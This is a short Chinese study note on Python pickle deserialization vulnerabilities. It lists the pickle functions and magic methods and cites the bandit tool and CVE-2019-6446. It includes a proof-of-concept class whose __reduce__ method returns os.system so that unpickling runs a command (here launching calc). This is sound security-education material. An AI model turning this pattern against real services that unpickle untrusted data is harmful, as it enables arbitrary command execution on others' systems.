【Web安全】反序列化漏洞分析笔记 - 第三部分 Python反序列化分析

概述

Python的序列化和PHP的很像

Python序列化相关函数:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

同样,在Python中也存在魔术方法:
__reduce__()反序列化时调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os


class A:
def __reduce__(self):
print("111")
return (os.system, ('calc',))


a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print(p_a)

__init__ 本质就是python中的构造函数,在对象被实例化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用

Python代码审计工具 bandit

CVE分析

CVE-2019-6446 Numpy反序列化命令执行

https://www.freebuf.com/vuls/194540.html